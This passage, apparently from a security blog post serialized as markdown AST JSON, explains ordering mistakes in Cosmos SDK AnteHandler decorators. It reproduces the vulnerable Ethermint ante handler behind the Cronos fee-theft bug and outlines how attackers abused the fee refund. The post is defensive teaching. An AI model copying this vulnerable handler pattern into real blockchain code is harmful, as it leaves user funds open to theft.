sigTx",{"type":23,"tag":141,"props":77408,"children":77409},{"style":154},[77410],{"type":29,"value":322},{"type":23,"tag":141,"props":77412,"children":77413},{"style":184},[77414],{"type":29,"value":77415},"GetSigners",{"type":23,"tag":141,"props":77417,"children":77418},{"style":154},[77419],{"type":29,"value":6410},{"type":23,"tag":141,"props":77421,"children":77422},{"class":143,"line":2421},[77423,77427,77431,77435,77439,77443,77447,77452],{"type":23,"tag":141,"props":77424,"children":77425},{"style":148},[77426],{"type":29,"value":1692},{"type":23,"tag":141,"props":77428,"children":77429},{"style":750},[77430],{"type":29,"value":2058},{"type":23,"tag":141,"props":77432,"children":77433},{"style":154},[77434],{"type":29,"value":480},{"type":23,"tag":141,"props":77436,"children":77437},{"style":750},[77438],{"type":29,"value":5820},{"type":23,"tag":141,"props":77440,"children":77441},{"style":160},[77442],{"type":29,"value":74901},{"type":23,"tag":141,"props":77444,"children":77445},{"style":148},[77446],{"type":29,"value":75884},{"type":23,"tag":141,"props":77448,"children":77449},{"style":750},[77450],{"type":29,"value":77451}," signers",{"type":23,"tag":141,"props":77453,"children":77454},{"style":154},[77455],{"type":29,"value":1951},{"type":23,"tag":141,"props":77457,"children":77458},{"class":143,"line":2429},[77459,77464,77468,77473,77477,77482,77486,77491,77495,77499,77503,77507,77511,77516],{"type":23,"tag":141,"props":77460,"children":77461},{"style":750},[77462],{"type":29,"value":77463}," balance",{"type":23,"tag":141,"props":77465,"children":77466},{"style":160},[77467],{"type":29,"value":74901},{"type":23,"tag":141,"props":77469,"children":77470},{"style":750},[77471],{"type":29,"value":77472}," abd",{"type":23,"tag":141,"props":77474,"children":77475},{"style":154},[77476],{"type":29,"value":322},{"type":23,"tag":141,"props":77478,"children":77479},{"style":750},[77480],{"type":29,"value":77481},"bk",{"type":23,"tag":141,"props":77483,"children":77484},{"style":154},[77485],{"type":29,"value":322},{"type":23,"tag":141,"props":77487,"children":77488},{"style":184},[77489],{"type":29,"value":77490},"getBalance",{"type":23,"tag":141,"props":77492,"children":77493},{"style":154},[77494],{"type":29,"value":192},{"type":23,"tag":141,"props":77496,"children":77497},{"style":750},[77498],{"type":29,"value":18952},{"type":23,"tag":141,"props":77500,"children":77501},{"style":154},[77502],{"type":29,"value":480},{"type":23,"tag":141,"props":77504,"children":77505},{"style":750},[77506],{"type":29,"value":5820},{"type":23,"tag":141,"props":77508,"children":77509},{"style":154},[77510],{"type":29,"value":480},{"type":23,"tag":141,"props":77512,"children":77513},{"style":750},[77514],{"type":29,"value":77515},"ATOM",{"type":23,"tag":141,"props":77517,"children":77518},{"style":154},[77519],{"type":29,"value":758},{"type":23,"tag":141,"props":77521,"children":77522},{"class":143,"line":2459},[77523,77527,77532,77536,77541,77545,77550],{"type":23,"tag":141,"props":77524,"children":77525},{"style":148},[77526],{"type":29,"value":233},{"type":23,"tag":141,"props":77528,"children":77529},{"style":750},[77530],{"type":29,"value":77531}," balance",{"type":23,"tag":141,"props":77533,"children":77534},{"style":154},[77535],{"type":29,"value":322},{"type":23,"tag":141,"props":77537,"children":77538},{"style":750},[77539],{"type":29,"value":77540},"Amount",{"type":23,"tag":141,"props":77542,"children":77543},{"style":160},[77544],{"type":29,"value":7395},{"type":23,"tag":141,"props":77546,"children":77547},{"style":750},[77548],{"type":29,"value":77549}," MIN_BALANCE",{"type":23,"tag":141,"props":77551,"children":77552},{"style":154},[77553],{"type":29,"value":1951},{"type":23,"tag":141,"props":77555,"children":77556},{"class":143,"line":2467},[77557,77562,77566,77570,77574,77578,77582],{"type":23,"tag":141,"props":77558,"children":77559},{"style":148},[77560],{"type":29,"value":77561}," return",{"type":23,"tag":141,"props":77563,"children":77564},{"style":750},[77565],{"type":29,"value":24527},{"type":23,"tag":141,"props":77567,"children":77568},{"style":154},[77569],{"type":29,"value":480},{"type":23,"tag":141,"props":77571,"children":77572},{"style":750},[77573],{"type":29,"value":77322},{"type":23,"tag":141,"props":77575,"children":77576},{"style":154},[77577],{"type":29,"value":322},{"type":23,"tag":141,"props":77579,"children":77580},{"style":184},[77581],{"type":29,"value":77331},{"type":23,"tag":141,"props":77583,"children":77584},{"style":154},[77585],{"type":29,"value":2123},{"type":23,"tag":141,"props":77587,"children":77588},{"class":143,"line":2499},[77589,77594],{"type":23,"tag":141,"props":77590,"children":77591},{"style":750},[77592],{"type":29,"value":77593}," ErrInsufficientBalance",{"type":23,"tag":141,"props":77595,"children":77596},{"style":154},[77597],{"type":29,"value":2168},{"type":23,"tag":141,"props":77599,"children":77600},{"class":143,"line":2507},[77601,77606],{"type":23,"tag":141,"props":77602,"children":77603},{"style":828},[77604],{"type":29,"value":77605}," \"Insufficient Balance\"",{"type":23,"tag":141,"props":77607,"children":77608},{"style":154},[77609],{"type":29,"value":2168},{"type":23,"tag":141,"props":77611,"children":77612},{"class":143,"line":2567},[77613],{"type":23,"tag":141,"props":77614,"children":77615},{"style":154},[77616],{"type":29,"value":76000},{"type":23,"tag":141,"props":77618,"children":77619},{"class":143,"line":7724},[77620],{"type":23,"tag":141,"props":77621,"children":77622},{"style":154},[77623],{"type":29,"value":2008},{"type":23,"tag":141,"props":77625,"children":77626},{"class":143,"line":7742},[77627],{"type":23,"tag":141,"props":77628,"children":77629},{"style":154},[77630],{"type":29,"value":299},{"type":23,"tag":141,"props":77632,"children":77633},{"class":143,"line":7787},[77634],{"type":23,"tag":141,"props":77635,"children":77636},{"emptyLinePlaceholder":15},[77637],{"type":29,"value":719},{"type":23,"tag":141,"props":77639,"children":77640},{"class":143,"line":7893},[77641,77645,77650,77654,77658,77662,77667,77671,77676],{"type":23,"tag":141,"props":77642,"children":77643},{"style":148},[77644],{"type":29,"value":15665},{"type":23,"tag":141,"props":77646,"children":77647},{"style":184},[77648],{"type":29,"value":77649}," next",{"type":23,"tag":141,"props":77651,"children":77652},{"style":154},[77653],{"type":29,"value":192},{"type":23,"tag":141,"props":77655,"children":77656},{"style":750},[77657],{"type":29,"value":18952},{"type":23,"tag":141,"props":77659,"children":77660},{"style":154},[77661],{"type":29,"value":480},{"type":23,"tag":141,"props":77663,"children":77664},{"style":750},[77665],{"type":29,"value":77666},"tx",{"type":23,"tag":141,"props":77668,"children":77669},{"style":154},[77670],{"type":29,"value":480},{"type":23,"tag":141,"props":77672,"children":77673},{"style":750},[77674],{"type":29,"value":77675},"simulate",{"type":23,"tag":141,"props":77677,"children":77678},{"style":154},[77679],{"type":29,"value":758},{"type":23,"tag":141,"props":77681,"children":77682},{"class":143,"line":22181},[77683],{"type":23,"tag":141,"props":77684,"children":77685},{"style":154},[77686],{"type":29,"value":2573},{"type":23,"tag":32,"props":77688,"children":77689},{},[77690,77692,77697,77699,77705,77707,77713],{"type":29,"value":77691},"Where should this custom ",{"type":23,"tag":38,"props":77693,"children":77695},{"className":77694},[],[77696],{"type":29,"value":76955},{"type":29,"value":77698}," be placed relative to other ",{"type":23,"tag":38,"props":77700,"children":77702},{"className":77701},[],[77703],{"type":29,"value":77704},"AnteHandlers",{"type":29,"value":77706}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":38,"props":77708,"children":77710},{"className":77709},[],[77711],{"type":29,"value":77712},"SetUpContextDecorator",{"type":29,"value":77714}," should work, right?",{"type":23,"tag":32,"props":77716,"children":77717},{},[77718],{"type":23,"tag":55,"props":77719,"children":77722},{"href":77720,"rel":77721},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[59],[77723],{"type":29,"value":75224},{"type":23,"tag":131,"props":77725,"children":77727},{"code":77726,"language":74649,"meta":7,"className":74650,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[77728],{"type":23,"tag":38,"props":77729,"children":77730},{"__ignoreMap":7},[77731,77764,77781,77789,77818,77830,77842,77871,77899,77978,78011,78039,78084,78129,78157],{"type":23,"tag":141,"props":77732,"children":77733},{"class":143,"line":144},[77734,77739,77743,77747,77751,77755,77760],{"type":23,"tag":141,"props":77735,"children":77736},{"style":750},[77737],{"type":29,"value":77738},"anteDecorators",{"type":23,"tag":141,"props":77740,"children":77741},{"style":160},[77742],{"type":29,"value":74901},{"type":23,"tag":141,"props":77744,"children":77745},{"style":154},[77746],{"type":29,"value":74712},{"type":23,"tag":141,"props":77748,"children":77749},{"style":725},[77750],{"type":29,"value":77215},{"type":23,"tag":141,"props":77752,"children":77753},{"style":154},[77754],{"type":29,"value":322},{"type":23,"tag":141,"props":77756,"children":77757},{"style":725},[77758],{"type":29,"value":77759},"AnteDecorator",{"type":23,"tag":141,"props":77761,"children":77762},{"style":154},[77763],{"type":29,"value":766},{"type":23,"tag":141,"props":77765,"children":77766},{"class":143,"line":180},[77767,77772,77776],{"type":23,"tag":141,"props":77768,"children":77769},{"style":184},[77770],{"type":29,"value":77771}," NewSetUpContextDecorator",{"type":23,"tag":141,"props":77773,"children":77774},{"style":154},[77775],{"type":29,"value":17053},{"type":23,"tag":141,"props":77777,"children":77778},{"style":443},[77779],{"type":29,"value":77780},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":141,"props":77782,"children":77783},{"class":143,"line":205},[77784],{"type":23,"tag":141,"props":77785,"children":77786},{"style":443},[77787],{"type":29,"value":77788}," // INSERT HERE\n",{"type":23,"tag":141,"props":77790,"children":77791},{"class":143,"line":218},[77792,77797,77801,77805,77809,77814],{"type":23,"tag":141,"props":77793,"children":77794},{"style":184},[77795],{"type":29,"value":77796}," NewExtensionOptionsDecorator",{"type":23,"tag":141,"props":77798,"children":77799},{"style":154},[77800],{"type":29,"value":192},{"type":23,"tag":141,"props":77802,"children":77803},{"style":750},[77804],{"type":29,"value":34509},{"type":23,"tag":141,"props":77806,"children":77807},{"style":154},[77808],{"type":29,"value":322},{"type":23,"tag":141,"props":77810,"children":77811},{"style":750},[77812],{"type":29,"value":77813},"ExtensionOptionChecker",{"type":23,"tag":141,"props":77815,"children":77816},{"style":154},[77817],{"type":29,"value":5410},{"type":23,"tag":141,"props":77819,"children":77820},{"class":143,"line":227},[77821,77826],{"type":23,"tag":141,"props":77822,"children":77823},{"style":184},[77824],{"type":29,"value":77825}," NewValidateBasicDecorator",{"type":23,"tag":141,"props":77827,"children":77828},{"style":154},[77829],{"type":29,"value":2151},{"type":23,"tag":141,"props":77831,"children":77832},{"class":143,"line":241},[77833,77838],{"type":23,"tag":141,"props":77834,"children":77835},{"style":184},[77836],{"type":29,"value":77837}," NewTxTimeoutHeightDecorator",{"type":23,"tag":141,"props":77839,"children":77840},{"style":154},[77841],{"type":29,"value":2151},{"type":23,"tag":141,"props":77843,"children":77844},{"class":143,"line":262},[77845,77850,77854,77858,77862,77867],{"type":23,"tag":141,"props":77846,"children":77847},{"style":184},[77848],{"type":29,"value":77849}," NewValidateMemoDecorator",{"type":23,"tag":141,"props":77851,"children":77852},{"style":154},[77853],{"type":29,"value":192},{"type":23,"tag":141,"props":77855,"children":77856},{"style":750},[77857],{"type":29,"value":34509},{"type":23,"tag":141,"props":77859,"children":77860},{"style":154},[77861],{"type":29,"value":322},{"type":23,"tag":141,"props":77863,"children":77864},{"style":750},[77865],{"type":29,"value":77866},"AccountKeeper",{"type":23,"tag":141,"props":77868,"children":77869},{"style":154},[77870],{"type":29,"value":5410},{"type":23,"tag":141,"props":77872,"children":77873},{"class":143,"line":271},[77874,77879,77883,77887,77891,77895],{"type":23,"tag":141,"props":77875,"children":77876},{"style":184},[77877],{"type":29,"value":77878}," NewConsumeGasForTxSizeDecorator",{"type":23,"tag":141,"props":77880,"children":77881},{"style":154},[77882],{"type":29,"value":192},{"type":23,"tag":141,"props":77884,"children":77885},{"style":750},[77886],{"type":29,"value":34509},{"type":23,"tag":141,"props":77888,"children":77889},{"style":154},[77890],{"type":29,"value":322},{"type":23,"tag":141,"props":77892,"children":77893},{"style":750},[77894],{"type":29,"value":77866},{"type":23,"tag":141,"props":77896,"children":77897},{"style":154},[77898],{"type":29,"value":5410},{"type":23,"tag":141,"props":77900,"children":77901},{"class":143,"line":293},[77902,77907,77911,77915,77919,77923,77927,77931,77935,77940,77944,77948,77952,77957,77961,77965,77969,77974],{"type":23,"tag":141,"props":77903,"children":77904},{"style":184},[77905],{"type":29,"value":77906}," NewDeductFeeDecorator",{"type":23,"tag":141,"props":77908,"children":77909},{"style":154},[77910],{"type":29,"value":192},{"type":23,"tag":141,"props":77912,"children":77913},{"style":750},[77914],{"type":29,"value":34509},{"type":23,"tag":141,"props":77916,"children":77917},{"style":154},[77918],{"type":29,"value":322},{"type":23,"tag":141,"props":77920,"children":77921},{"style":750},[77922],{"type":29,"value":77866},{"type":23,"tag":141,"props":77924,"children":77925},{"style":154},[77926],{"type":29,"value":480},{"type":23,"tag":141,"props":77928,"children":77929},{"style":750},[77930],{"type":29,"value":34509},{"type":23,"tag":141,"props":77932,"children":77933},{"style":154},[77934],{"type":29,"value":322},{"type":23,"tag":141,"props":77936,"children":77937},{"style":750},[77938],{"type":29,"value":77939},"BankKeeper",{"type":23,"tag":141,"props":77941,"children":77942},{"style":154},[77943],{"type":29,"value":480},{"type":23,"tag":141,"props":77945,"children":77946},{"style":750},[77947],{"type":29,"value":34509},{"type":23,"tag":141,"props":77949,"children":77950},{"style":154},[77951],{"type":29,"value":322},{"type":23,"tag":141,"props":77953,"children":77954},{"style":750},[77955],{"type":29,"value":77956},"FeegrantKeeper",{"type":23,"tag":141,"props":77958,"children":77959},{"style":154},[77960],{"type":29,"value":480},{"type":23,"tag":141,"props":77962,"children":77963},{"style":750},[77964],{"type":29,"value":34509},{"type":23,"tag":141,"props":77966,"children":77967},{"style":154},[77968],{"type":29,"value":322},{"type":23,"tag":141,"props":77970,"children":77971},{"style":750},[77972],{"type":29,"value":77973},"TxFeeChecker",{"type":23,"tag":141,"props":77975,"children":77976},{"style":154},[77977],{"type":29,"value":5410},{"type":23,"tag":141,"props":77979,"children":77980},{"class":143,"line":801},[77981,77986,77990,77994,77998,78002,78006],{"type":23,"tag":141,"props":77982,"children":77983},{"style":184},[77984],{"type":29,"value":77985}," NewSetPubKeyDecorator",{"type":23,"tag":141,"props":77987,"children":77988},{"style":154},[77989],{"type":29,"value":192},{"type":23,"tag":141,"props":77991,"children":77992},{"style":750},[77993],{"type":29,"value":34509},{"type":23,"tag":141,"props":77995,"children":77996},{"style":154},[77997],{"type":29,"value":322},{"type":23,"tag":141,"props":77999,"children":78000},{"style":750},[78001],{"type":29,"value":77866},{"type":23,"tag":141,"props":78003,"children":78004},{"style":154},[78005],{"type":29,"value":13854},{"type":23,"tag":141,"props":78007,"children":78008},{"style":443},[78009],{"type":29,"value":78010},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":141,"props":78012,"children":78013},{"class":143,"line":810},[78014,78019,78023,78027,78031,78035],{"type":23,"tag":141,"props":78015,"children":78016},{"style":184},[78017],{"type":29,"value":78018}," NewValidateSigCountDecorator",{"type":23,"tag":141,"props":78020,"children":78021},{"style":154},[78022],{"type":29,"value":192},{"type":23,"tag":141,"props":78024,"children":78025},{"style":750},[78026],{"type":29,"value":34509},{"type":23,"tag":141,"props":78028,"children":78029},{"style":154},[78030],{"type":29,"value":322},{"type":23,"tag":141,"props":78032,"children":78033},{"style":750},[78034],{"type":29,"value":77866},{"type":23,"tag":141,"props":78036,"children":78037},{"style":154},[78038],{"type":29,"value":5410},{"type":23,"tag":141,"props":78040,"children":78041},{"class":143,"line":824},[78042,78047,78051,78055,78059,78063,78067,78071,78075,78080],{"type":23,"tag":141,"props":78043,"children":78044},{"style":184},[78045],{"type":29,"value":78046}," NewSigGasConsumeDecorator",{"type":23,"tag":141,"props":78048,"children":78049},{"style":154},[78050],{"type":29,"value":192},{"type":23,"tag":141,"props":78052,"children":78053},{"style":750},[78054],{"type":29,"value":34509},{"type":23,"tag":141,"props":78056,"children":78057},{"style":154},[78058],{"type":29,"value":322},{"type":23,"tag":141,"props":78060,"children":78061},{"style":750},[78062],{"type":29,"value":77866},{"type":23,"tag":141,"props":78064,"children":78065},{"style":154},[78066],{"type":29,"value":480},{"type":23,"tag":141,"props":78068,"children":78069},{"style":750},[78070],{"type":29,"value":34509},{"type":23,"tag":141,"props":78072,"children":78073},{"style":154},[78074],{"type":29,"value":322},{"type":23,"tag":141,"props":78076,"children":78077},{"style":750},[78078],{"type":29,"value":78079},"SigGasConsumer",{"type":23,"tag":141,"props":78081,"children":78082},{"style":154},[78083],{"type":29,"value":5410},{"type":23,"tag":141,"props":78085,"children":78086},{"class":143,"line":839},[78087,78092,78096,78100,78104,78108,78112,78116,78120,78125],{"type":23,"tag":141,"props":78088,"children":78089},{"style":184},[78090],{"type":29,"value":78091}," NewSigVerificationDecorator",{"type":23,"tag":141,"props":78093,"children":78094},{"style":154},[78095],{"type":29,"value":192},{"type":23,"tag":141,"props":78097,"children":78098},{"style":750},[78099],{"type":29,"value":34509},{"type":23,"tag":141,"props":78101,"children":78102},{"style":154},[78103],{"type":29,"value":322},{"type":23,"tag":141,"props":78105,"children":78106},{"style":750},[78107],{"type":29,"value":77866},{"type":23,"tag":141,"props":78109,"children":78110},{"style":154},[78111],{"type":29,"value":480},{"type":23,"tag":141,"props":78113,"children":78114},{"style":750},[78115],{"type":29,"value":34509},{"type":23,"tag":141,"props":78117,"children":78118},{"style":154},[78119],{"type":29,"value":322},{"type":23,"tag":141,"props":78121,"children":78122},{"style":750},[78123],{"type":29,"value":78124},"SignModeHandler",{"type":23,"tag":141,"props":78126,"children":78127},{"style":154},[78128],{"type":29,"value":5410},{"type":23,"tag":141,"props":78130,"children":78131},{"class":143,"line":848},[78132,78137,78141,78145,78149,78153],{"type":23,"tag":141,"props":78133,"children":78134},{"style":184},[78135],{"type":29,"value":78136}," NewIncrementSequenceDecorator",{"type":23,"tag":141,"props":78138,"children":78139},{"style":154},[78140],{"type":29,"value":192},{"type":23,"tag":141,"props":78142,"children":78143},{"style":750},[78144],{"type":29,"value":34509},{"type":23,"tag":141,"props":78146,"children":78147},{"style":154},[78148],{"type":29,"value":322},{"type":23,"tag":141,"props":78150,"children":78151},{"style":750},[78152],{"type":29,"value":77866},{"type":23,"tag":141,"props":78154,"children":78155},{"style":154},[78156],{"type":29,"value":5410},{"type":23,"tag":141,"props":78158,"children":78159},{"class":143,"line":2304},[78160],{"type":23,"tag":141,"props":78161,"children":78162},{"style":154},[78163],{"type":29,"value":2573},{"type":23,"tag":32,"props":78165,"children":78166},{},[78167,78169,78174,78176,78182,78183,78189],{"type":29,"value":78168},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":38,"props":78170,"children":78172},{"className":78171},[],[78173],{"type":29,"value":77704},{"type":29,"value":78175},", such as ",{"type":23,"tag":38,"props":78177,"children":78179},{"className":78178},[],[78180],{"type":29,"value":78181},"SigGasConsumeDecorator",{"type":29,"value":313},{"type":23,"tag":38,"props":78184,"children":78186},{"className":78185},[],[78187],{"type":29,"value":78188},"ConsumeGasForTxSizeDecorator",{"type":29,"value":78190},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":32,"props":78192,"children":78193},{},[78194,78196,78202,78204,78209],{"type":29,"value":78195},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":38,"props":78197,"children":78199},{"className":78198},[],[78200],{"type":29,"value":78201},"msgs",{"type":29,"value":78203}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":38,"props":78205,"children":78207},{"className":78206},[],[78208],{"type":29,"value":77030},{"type":29,"value":78210}," chain.",{"type":23,"tag":8287,"props":78212,"children":78214},{"id":78213},"real-world-examples-2",[78215],{"type":29,"value":75174},{"type":23,"tag":32,"props":78217,"children":78218},{},[78219,78221,78226,78228,78235],{"type":29,"value":78220},"An instance of ",{"type":23,"tag":38,"props":78222,"children":78224},{"className":78223},[],[78225],{"type":29,"value":76955},{"type":29,"value":78227}," misuse is a ",{"type":23,"tag":55,"props":78229,"children":78232},{"href":78230,"rel":78231},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[59],[78233],{"type":29,"value":78234},"Theft of Fund bug",{"type":29,"value":78236}," that was exploited in a Cronos contract.",{"type":23,"tag":32,"props":78238,"children":78239},{},[78240,78242,78247,78249,78254,78256,78262,78264,78270,78272,78277,78279,78284],{"type":29,"value":78241},"In this scenario, ",{"type":23,"tag":38,"props":78243,"children":78245},{"className":78244},[],[78246],{"type":29,"value":78201},{"type":29,"value":78248}," are multiplexed to different ",{"type":23,"tag":38,"props":78250,"children":78252},{"className":78251},[],[78253],{"type":29,"value":76955},{"type":29,"value":78255}," sets through the user-controlled ",{"type":23,"tag":38,"props":78257,"children":78259},{"className":78258},[],[78260],{"type":29,"value":78261},"ExtensionOptionsEthereumTx",{"type":29,"value":78263}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":38,"props":78265,"children":78267},{"className":78266},[],[78268],{"type":29,"value":78269},"MsgEthereumTx",{"type":29,"value":78271}," does not have ",{"type":23,"tag":38,"props":78273,"children":78275},{"className":78274},[],[78276],{"type":29,"value":78261},{"type":29,"value":78278}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":38,"props":78280,"children":78282},{"className":78281},[],[78283],{"type":29,"value":77704},{"type":29,"value":78285},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":32,"props":78287,"children":78288},{},[78289],{"type":23,"tag":55,"props":78290,"children":78293},{"href":78291,"rel":78292},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[59],[78294],{"type":29,"value":75224},{"type":23,"tag":131,"props":78296,"children":78298},{"code":78297,"language":74649,"meta":7,"className":74650,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[78299],{"type":23,"tag":38,"props":78300,"children":78301},{"__ignoreMap":7},[78302,78318,78343,78367,78384,78409,78435,78460,78483,78499,78555,78596,78622,78629,78675,78682,78728,78744,78774,78809,78861,78878,78886,78893,78922,78938,78946,78972,78980,78987,78999,79033,79079,79091,79098,79105,79112,79151,79158,79165,79172,79180,79187,79211,79235,79263,79288,79296,79329,79336,79348,79379,79434,79447,79455,79463,79471,79511,79519],{"type":23,"tag":141,"props":78303,"children":78304},{"class":143,"line":144},[78305,78309,78314],{"type":23,"tag":141,"props":78306,"children":78307},{"style":449},[78308],{"type":29,"value":74785},{"type":23,"tag":141,"props":78310,"children":78311},{"style":184},[78312],{"type":29,"value":78313}," NewAnteHandler",{"type":23,"tag":141,"props":78315,"children":78316},{"style":154},[78317],{"type":29,"value":2123},{"type":23,"tag":141,"props":78319,"children":78320},{"class":143,"line":180},[78321,78326,78331,78335,78339],{"type":23,"tag":141,"props":78322,"children":78323},{"style":750},[78324],{"type":29,"value":78325}," ak",{"type":23,"tag":141,"props":78327,"children":78328},{"style":725},[78329],{"type":29,"value":78330}," evmtypes",{"type":23,"tag":141,"props":78332,"children":78333},{"style":154},[78334],{"type":29,"value":322},{"type":23,"tag":141,"props":78336,"children":78337},{"style":725},[78338],{"type":29,"value":77866},{"type":23,"tag":141,"props":78340,"children":78341},{"style":154},[78342],{"type":29,"value":2168},{"type":23,"tag":141,"props":78344,"children":78345},{"class":143,"line":205},[78346,78351,78355,78359,78363],{"type":23,"tag":141,"props":78347,"children":78348},{"style":750},[78349],{"type":29,"value":78350}," bankKeeper",{"type":23,"tag":141,"props":78352,"children":78353},{"style":725},[78354],{"type":29,"value":78330},{"type":23,"tag":141,"props":78356,"children":78357},{"style":154},[78358],{"type":29,"value":322},{"type":23,"tag":141,"props":78360,"children":78361},{"style":725},[78362],{"type":29,"value":77939},{"type":23,"tag":141,"props":78364,"children":78365},{"style":154},[78366],{"type":29,"value":2168},{"type":23,"tag":141,"props":78368,"children":78369},{"class":143,"line":218},[78370,78375,78380],{"type":23,"tag":141,"props":78371,"children":78372},{"style":750},[78373],{"type":29,"value":78374}," evmKeeper",{"type":23,"tag":141,"props":78376,"children":78377},{"style":725},[78378],{"type":29,"value":78379}," EVMKeeper",{"type":23,"tag":141,"props":78381,"children":78382},{"style":154},[78383],{"type":29,"value":2168},{"type":23,"tag":141,"props":78385,"children":78386},{"class":143,"line":227},[78387,78392,78397,78401,78405],{"type":23,"tag":141,"props":78388,"children":78389},{"style":750},[78390],{"type":29,"value":78391}," feeGrantKeeper",{"type":23,"tag":141,"props":78393,"children":78394},{"style":725},[78395],{"type":29,"value":78396}," authante",{"type":23,"tag":141,"props":78398,"children":78399},{"style":154},[78400],{"type":29,"value":322},{"type":23,"tag":141,"props":78402,"children":78403},{"style":725},[78404],{"type":29,"value":77956},{"type":23,"tag":141,"props":78406,"children":78407},{"style":154},[78408],{"type":29,"value":2168},{"type":23,"tag":141,"props":78410,"children":78411},{"class":143,"line":241},[78412,78417,78422,78426,78431],{"type":23,"tag":141,"props":78413,"children":78414},{"style":750},[78415],{"type":29,"value":78416}," channelKeeper",{"type":23,"tag":141,"props":78418,"children":78419},{"style":725},[78420],{"type":29,"value":78421}," channelkeeper",{"type":23,"tag":141,"props":78423,"children":78424},{"style":154},[78425],{"type":29,"value":322},{"type":23,"tag":141,"props":78427,"children":78428},{"style":725},[78429],{"type":29,"value":78430},"Keeper",{"type":23,"tag":141,"props":78432,"children":78433},{"style":154},[78434],{"type":29,"value":2168},{"type":23,"tag":141,"props":78436,"children":78437},{"class":143,"line":262},[78438,78443,78448,78452,78456],{"type":23,"tag":141,"props":78439,"children":78440},{"style":750},[78441],{"type":29,"value":78442}," signModeHandler",{"type":23,"tag":141,"props":78444,"children":78445},{"style":725},[78446],{"type":29,"value":78447}," authsigning",{"type":23,"tag":141,"props":78449,"children":78450},{"style":154},[78451],{"type":29,"value":322},{"type":23,"tag":141,"props":78453,"children":78454},{"style":725},[78455],{"type":29,"value":78124},{"type":23,"tag":141,"props":78457,"children":78458},{"style":154},[78459],{"type":29,"value":2168},{"type":23,"tag":141,"props":78461,"children":78462},{"class":143,"line":271},[78463,78467,78471,78475,78479],{"type":23,"tag":141,"props":78464,"children":78465},{"style":154},[78466],{"type":29,"value":1748},{"type":23,"tag":141,"props":78468,"children":78469},{"style":725},[78470],{"type":29,"value":77215},{"type":23,"tag":141,"props":78472,"children":78473},{"style":154},[78474],{"type":29,"value":322},{"type":23,"tag":141,"props":78476,"children":78477},{"style":725},[78478],{"type":29,"value":76955},{"type":23,"tag":141,"props":78480,"children":78481},{"style":154},[78482],{"type":29,"value":1951},{"type":23,"tag":141,"props":78484,"children":78485},{"class":143,"line":293},[78486,78490,78495],{"type":23,"tag":141,"props":78487,"children":78488},{"style":148},[78489],{"type":29,"value":15665},{"type":23,"tag":141,"props":78491,"children":78492},{"style":449},[78493],{"type":29,"value":78494}," 